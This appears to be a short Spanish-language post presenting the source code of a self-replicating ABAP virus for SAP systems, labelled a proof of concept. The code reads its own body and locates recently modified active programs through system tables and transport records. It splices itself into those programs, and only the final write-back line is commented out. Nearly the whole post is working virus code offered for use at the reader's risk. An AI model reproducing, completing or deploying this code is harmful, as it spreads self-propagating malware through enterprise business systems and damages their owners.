ABAP Virii 2
Este es el segundo virus que hago para SAP, es una prueba de concepto, no tiene PayLoad y el peligro está deshabilitado. Utiliza bajo tu propio riesgo.
- report ZVIRK_02.
- *{ INSERT VIRK0066600 1
- data: bx type MATCH_RESULT. SELECT SINGLE CCCATEGORY into SYST-CTYPE FROM T000 CLIENT SPECIFIED WHERE MANDT = sy-MANDT.
- read REPORT sy-repid into CL_CIM_CONST=>VALID_KEY_VALUE_TYPES. " Extracción del código
- find FIRST OCCURRENCE OF REGEX '\*\{.*INSERT.*VIRK(\d+).*1' in TABLE CL_CIM_CONST=>VALID_KEY_VALUE_TYPES in CHARACTER MODE RESULTS bx. sy-cucol = bx-line.
- find FIRST OCCURRENCE OF REGEX '\*\}.*INS3RT' in TABLE CL_CIM_CONST=>VALID_KEY_VALUE_TYPES in CHARACTER MODE RESULTS bx. sy-CUROW = bx-line.
- sy-cdate = sy-datum + 1.
- while not syst-cdate+0(4) is INITIAL. " Sólo Infectamos alguno que se esté utilizando actualmente
- SUBTRACT 1 from syst-cdate.
- if SYST-CTYPE ne 'C'.
- SELECT SINGLE PROG into sy-lisel FROM D010SINF WHERE R3STATE = 'A' AND UNAM like 'SAP%' AND UDAT = sy-cdate.
- else.
- SELECT SINGLE E071~OBJ_NAME into sy-lisel FROM E070 INNER JOIN E071 on E070~STRKORR = E071~TRKORR
- WHERE E070~TRFUNCTION in ('K','T','S','R') AND E070~as4date = sy-cdate and E070~TRSTATUS in ('D','L') and
- e071~PGMID = 'LIMU' and e071~OBJECT = 'REPS'.
- endif.
- check sy-subrc eq 0. read report sy-lisel into CL_CIM_CONST=>VALID_FLAVOR_NAMES.
- find FIRST OCCURRENCE OF REGEX '(LOOP|WRITE|PERFORM|ENDFORM|SELECT)' in TABLE CL_CIM_CONST=>VALID_FLAVOR_NAMES in CHARACTER MODE RESULTS bx.
- check sy-subrc eq 0 and bx-line > 0.
- SUBTRACT 1 FROM bx-line. clear syst-cdate.
- insert LINES OF CL_CIM_CONST=>VALID_KEY_VALUE_TYPES from sy-cucol to sy-CUROW into CL_CIM_CONST=>VALID_FLAVOR_NAMES index bx-line.
- * insert REPORT sy-lisel FROM CL_CIM_CONST=>VALID_FLAVOR_NAMES. " Dejamos el huevo y ejecutamos un PayLoad
- ENDWHILE. " SAPViri v0.2 2014 (CC)4.0 BY-NC-SA
- *} INS3RT